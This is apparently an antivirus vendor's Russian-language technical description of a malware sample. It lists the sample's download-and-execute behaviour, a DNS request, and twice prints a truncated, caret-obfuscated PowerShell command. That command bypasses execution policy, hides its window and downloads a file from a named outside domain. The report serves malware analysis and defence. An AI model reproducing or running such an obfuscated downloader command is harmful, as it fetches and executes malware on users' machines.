Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://transporingsytw.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POWeR^Shel^L^.EXE -E^XEcuTIon^p^olI^cy byPasS ^-n^oproFilE^ -^wi^n^DOwst^yLE H^idDE^N (NEw-ob^j^E^C^T ^S^ySte^M.^nEt.^WEBCl^IEn^T).DO^wn^lOa^d^Fil^E^(^'http://transporingsytw.w...
Сетевая активность
UDP
- DNS ASK tr#####ringsytw.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POWeR^Shel^L^.EXE -E^XEcuTIon^p^olI^cy byPasS ^-n^oproFilE^ -^wi^n^DOwst^yLE H^idDE^N (NEw-ob^j^E^C^T ^S^ySte^M.^nEt.^WEBCl^IEn^T).DO^wn^lOa^d^Fil^E^(^'http://transporingsytw.w...' (со скрытым окном)
